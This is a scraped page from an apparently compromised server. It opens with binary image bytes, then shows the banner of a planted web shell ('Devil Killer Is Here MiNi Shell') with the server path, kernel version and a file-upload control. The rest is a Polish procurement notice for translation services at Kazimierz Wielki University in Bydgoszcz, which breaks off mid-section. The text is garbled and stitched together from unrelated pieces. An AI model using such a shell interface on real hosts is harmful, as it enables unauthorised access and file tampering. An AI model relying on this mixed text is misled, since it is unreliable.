JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20210316/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/common/web/tenders/20210316/0001843301-N-2021.html

<header hidden><table style="border-bottom: 1px solid black; width:100%"><tr><td>Ogłoszenie nr 2021/BZP 00018433 z dnia 2021-03-16</td></tr></table></header><main><!-- Version 1.0.0 --><style type="text/css"> .normal { color: black; } h1.title { }</style> <h1 class="text-center mt-5 mb-5">Ogłoszenie o zamówieniu<br/> Usługi<br/> Sukcesywne usługi w zakresie specjalistycznych tłumaczeń pisemnych i korekt językowych dla Uniwersytetu Kazimierza Wielkiego w Bydgoszczy </h1> <h2 class="bg-light p-3 mt-4">SEKCJA I - ZAMAWIAJĄCY</h2> <h3 class="mb-0">1.1.) Rola zamawiającego</h3> <p class="mb-0">Postępowanie prowadzone jest samodzielnie przez zamawiającego</p> <h3 class="mb-0">1.2.) Nazwa zamawiającego: <span class="normal">Uniwersytet Kazimierza Wielkiego w Bydgoszczy</span></h3> <h3 class="mb-0">1.4) Krajowy Numer Identyfikacyjny: <span class="normal">REGON 340057695</span></h3><h3 class="mb-0">1.5) Adres zamawiającego </h3> <h3 class="mb-0">1.5.1.) Ulica: <span class="normal">Jana Karola Chodkiewicza 30</span></h3> <h3 class="mb-0">1.5.2.) Miejscowość: <span class="normal">Bydgoszcz</span></h3> <h3 class="mb-0">1.5.3.) Kod pocztowy: <span class="normal">85-064</span></h3> <h3 class="mb-0">1.5.4.) Województwo: <span class="normal">kujawsko-pomorskie</span></h3> <h3 class="mb-0">1.5.5.) Kraj: <span class="normal">Polska</span></h3> <h3 class="mb-0">1.5.6.) Lokalizacja NUTS 3: <span class="normal">PL613 - Bydgosko-toruński</span></h3> <h3 class="mb-0">1.5.9.) Adres poczty elektronicznej: <span class="normal">zampub@ukw.edu.pl</span></h3> <h3 class="mb-0">1.5.10.) Adres strony internetowej zamawiającego: <span class="normal">www.ukw.edu.pl</span></h3> <h3 class="mb-0"> 1.6.) Rodzaj zamawiającego: <span class="normal">Zamawiający publiczny - inny zamawiający</span> </h3> <p class="mb-0"> Państwowa Uczelnia Wyższa </p> <h3 class="mb-0"> 1.7.) Przedmiot działalności zamawiającego: <span class="normal">Edukacja</span> </h3> <h2 class="bg-light p-3 mt-4">SEKCJA II – INFORMACJE PODSTAWOWE</h2> <h3 class="mb-0">2.1.) Ogłoszenie dotyczy: </h3> <p class="mb-0"> Zamówienia publicznego </p> <h3 class="mb-0">2.2.) Ogłoszenie dotyczy usług społecznych i innych szczególnych usług: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.3.) Nazwa zamówienia albo umowy ramowej: </h3> <p class="mb-0"> Sukcesywne usługi w zakresie specjalistycznych tłumaczeń pisemnych i korekt językowych dla Uniwersytetu Kazimierza Wielkiego w Bydgoszczy </p> <h3 class="mb-0">2.4.) Identyfikator postępowania: <span class="normal">ocds-148610-fb3e1b99-864c-11eb-86b1-a64936a8669f</span></h3> <h3 class="mb-0">2.5.) Numer ogłoszenia: <span class="normal">2021/BZP 00018433</span></h3> <h3 class="mb-0">2.6.) Wersja ogłoszenia: <span class="normal">01</span></h3> <h3 class="mb-0">2.7.) Data ogłoszenia: <span class="normal">2021-03-16</span></h3> <h3 class="mb-0">2.8.) Zamówienie albo umowa ramowa zostały ujęte w planie postępowań: <span class="normal">Tak</span></h3> <h3 class="mb-0">2.9.) Numer planu postępowań w BZP: <span class="normal">2021/BZP 00002478/04/P</span></h3> <h3 class="mb-0">2.10.) Identyfikator pozycji planu postępowań: </h3> <p class="mb-0">1.3.8 Tłumaczenia tekstów i artykułów naukowych, korekty językowe</p> <h3 class="mb-0">2.11.) O udzielenie zamówienia mogą ubiegać się wyłącznie wykonawcy, o których mowa w art. 94 ustawy: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.14.) Czy zamówienie albo umowa ramowa dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej: <span class="normal">Nie</span></h3> <h3 class="mb-0">2.16.) Tryb udzielenia zamówienia wraz z podstawą prawną</h3> <p class="mb-0"> Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy </p> <h2 class="bg-light p-3 mt-4">SEKCJA III – UDOSTĘPNIANIE DOKUMENTÓW ZAMÓWIENIA I KOMUNIKACJA</h2> <h3 class="mb-0">3.1.) Adres strony internetowej prowadzonego postępowania</h3> https://ukw.ezamawiajacy.pl <h3 class="mb-0">3.2.) Zamawiający zastrzega dostęp do dokumentów zamówienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.4.) Wykonawcy zobowiązani są do składania ofert, wniosków o dopuszczenie do udziału w postępowaniu, oświadczeń oraz innych dokumentów wyłącznie przy użyciu środków komunikacji elektronicznej: <span class="normal">Tak</span></h3> <h3 class="mb-0">3.5.) Informacje o środkach komunikacji elektronicznej, przy użyciu których zamawiający będzie komunikował się z wykonawcami - adres strony internetowej: <span class="normal">https://ukw.ezamawiajacy.pl</span></h3> <h3 class="mb-0">3.6.) Wymagania techniczne i organizacyjne dotyczące korespondencji elektronicznej: <span class="normal">Komunikacja w postępowaniu o udzielenie zamówienia, w tym składanie ofert, wniosków odopuszczenie do udziału w postępowaniu, wymiana informacji oraz przekazywanie dokumentów luboświadczeń między Zamawiającym, a Wykonawcą, z uwzględnieniem wyjątków określonych w ustawiePzp, odbywa się przy użyciu środków komunikacji elektronicznej. Przez środkikomunikacjielektronicznej rozumie się środki komunikacji elektronicznej zdefiniowane w ustawie z dnia18 lipca 2002 r. o świadczeniu usług drogą elektroniczną (Dz. U. z 2020 r. poz. 344). Ofertę, atakże oświadczenie o jakim mowa w Rozdziale VIII ust. 1 SWZ składa się, pod rygorem nieważności,wformie elektronicznej lub w postaci elektronicznej opatrzonej podpisem zaufanym lub podpisemosobistym . 3. Zawiadomienia, oświadczenia, wnioski lub informacje Wykonawcy przekazują drogąelektroniczną poprzez Platformę, dostępną pod adresem: https://ukw.ezamawiajacy.pl4. Zgłoszenieirejestracja do postępowania wymaga zalogowania Wykonawcy do Systemu na subdomenieUniwersytet Kazimierza Wielkiego w Bydgoszczy; https://ukw.ezamawiajacy.pl, lubhttps://oneplace.marketplanet.pl.5. Zgodnie z 67 ustawy Pzp., Zamawiający podaje wymaganiatechniczne i ogólne zasady związane z korzystaniem z Platformy:1) Stały dostęp do sieci Internetogwarantowanej przepustowości nie mniejszej niż 512 kb/s;2) Komputer klasy PC lub MAC, onastępującej konfiguracji: pamięć min 2GB Ram, procesor Intel IV 2GHZ, jeden z systemówoperacyjnych - MS Windows 7 , Mac Os x 10.4, Linux, lub ich nowsze wersje;3) Zainstalowanadowolna przeglądarka internetowa obsługująca TLS 1.2, najlepiej w najnowszej wersji w przypadkuInternet Explorer minimalnie wersja 10.0;4) Włączona obsługa JavaScript;5) Zainstalowany programAcrobat Reader lub inny obsługujący pliki w formacie .pdf.6) Uruchomienie oprogramowania doskładania podpisu wymaga również zainstalowania Java w wersji 1.8.0_65 lub nowszej, koniecznie wwersji 32-bitowej, pozwalające na przyjmowanie przez użytkownika sesyjnych plików cookie orazobsługującej szyfrowanie. Konieczne jest również dodanie adresu witryny platformy eZamawiającyOgłoszenie nr 2021/BZP 00016305 z dnia 2021-03-112021-03-11 Biuletyn Zamówień PublicznychOgłoszenie o zamówieniu - Zamówienie udzielane jest w trybie podstawowym na podstawie: art. 275 pkt 1 ustawy - Dostawy(ezamawiający.pl) do wyjątków (exception site list) w Javie. Uwaga: wymaga to uprawnieńadministracyjnych na komputerze.7) Zainstalowany dedykowany komponent Szafir SDK oraz aplikacjęSzafir Host, który odpowiada za obsługę funkcjonalności podpisu elektronicznego w platformieeZamawiający. Rozszerzenie Szafir SDK można pobrać tutaj. Po zainstalowaniu rozszerzenia SzafirSDK oraz aplikacji Szafir Host należy przeładować bieżącą stronę.8) Przed uruchomieniem platformyeZamawiający, w pierwszej kolejności należy podłączyć czytnik z kartą kryptograficzną dokomputera.6.Zamawiający informuje, iż w przypadku jakichkolwiek wątpliwości związanych z zasadami korzystaniaz Platformy, Wykonawca winien skontaktować się z dostawcą rozwiązania teleinformatycznegoPlatforma zakupowa Nazwa Jednostki tel. +48 22 576 87 90 (infolinia dostępna w dni robocze, wgodzinach 9.00-17.00) e-mail: oneplace@marketplanet.pl7. Zamawiający zgodnie z § 4Rozporządzenia Prezesa Rady Ministrów w sprawie użycia środków komunikacji elektronicznej wpostępowaniu o udzielenie zamówienia publicznego oraz udostępnienia i przechowywaniadokumentówelektronicznych (Dz. U. z 2017 r. poz. 1320) - zwane dalej „Rozporządzeniem" określadopuszczalny format podpisu elektronicznego, jako:1) dokumenty w formacie „pdf" zaleca siępodpisywać formatem PAdES,2) dopuszcza się podpisanie dokumentów w formacie innym niż „pdf",wtedy będzie wymaganyoddzielny plik z podpisem. W związku z tym Wykonawca będzie zobowiązanyzałączyć oprócz podpisanego dokumentu oddzielny plik z podpisem</span></h3> <h3 class="mb-0">3.8.) Zamawiający wymaga sporządzenia i przedstawienia ofert przy użyciu narzędzi elektronicznego modelowania danych budowlanych lub innych podobnych narzędzi, które nie są ogólnie dostępne: <span class="normal">Nie</span></h3> <h3 class="mb-0">3.12.) Oferta - katalog elektroniczny: <span class="normal">Nie dotyczy</span></h3> <h3 class="mb-0">3.14.) Języki, w jakich mogą być sporządzane dokumenty składane w postępowaniu: </h3> <p class="mb-0">polski</p> <h2 class="bg-light p-3 mt-4">SEKCJA IV – PRZEDMIOT ZAMÓWIENIA</h2> <h3 class="mb-0">4.1.1.) Przed wszczęciem postępowania przeprowadzono konsultacje rynkowe: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.2.) Numer referencyjny: <span class="normal">UKW/DZP-281-U-08/2021</span></h3> <h3 class="mb-0">4.1.3.) Rodzaj zamówienia: <span class="normal">Usługi</span></h3> <h3 class="mb-0">4.1.4.) Zamawiający udziela zamówienia w częściach, z których każda stanowi przedmiot odrębnego postępowania: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.8.) Możliwe jest składanie ofert częściowych: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.1.9.) Liczba części: <span class="normal">10</span></h3> <h3 class="mb-0">4.1.10.) Ofertę można składać na wszystkie części</h3> <h3 class="mb-0">4.1.11.) Zamawiający ogranicza liczbę części zamówienia, którą można udzielić jednemu wykonawcy: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.1.13.) Zamawiający uwzględnia aspekty społeczne, środowiskowe lub etykiety w opisie przedmiotu zamówienia: <span class="normal">Nie</span></h3><h3 class="mb-0">4.2. Informacje szczegółowe odnoszące się do przedmiotu zamówienia:</h3> <h3 class="p-2 mt-4 bg-light">Część 1</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 2</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 3</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 5</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Przedmiotem zamówienia są sukcesywne usługi w zakresie tłumaczeń pisemnych i korekt językowych na potrzeby Uniwersytetu Kazimierza Wielkiego w Bydgoszczy. Szczegółowy opis przedmiotu zamówienia (OPZ) został określony w Załączniku nr 7 do SWZ, Formularzu cenowym stanowiącym Załącznik nr 2 do SWZ oraz w projekcie Umowy stanowiącym Załącznik nr 6 do SWZ. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">79530000-8 - Usługi w zakresie tłumaczeń pisemnych</span></h3> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Tak</span></h3> <h3 class="mb-0">4.2.9) Rodzaj i maksymalna wartość opcji oraz okoliczności skorzystania z opcji: </h3> Zamawiający zastrzega sobie możliwość zastosowania prawa opcji, tj. możliwość rezygnacji z realizacji części przedmiotu zamówienia (nieudzielenie zamówień jednostkowych). Zakres przedmiotu zamówienia może być pomniejszony do 40% ogólnej ilości przewidywanych tłumaczeń. Zamawiający gwarantuje realizacje zamówień w 60%. <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">do 2021-12-31</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Procentowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Dodatkowe doświadczenie osób wyznaczonych do realizacji zamówienia</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 6</h3> <h3 class="mb-0">4.2.2.) 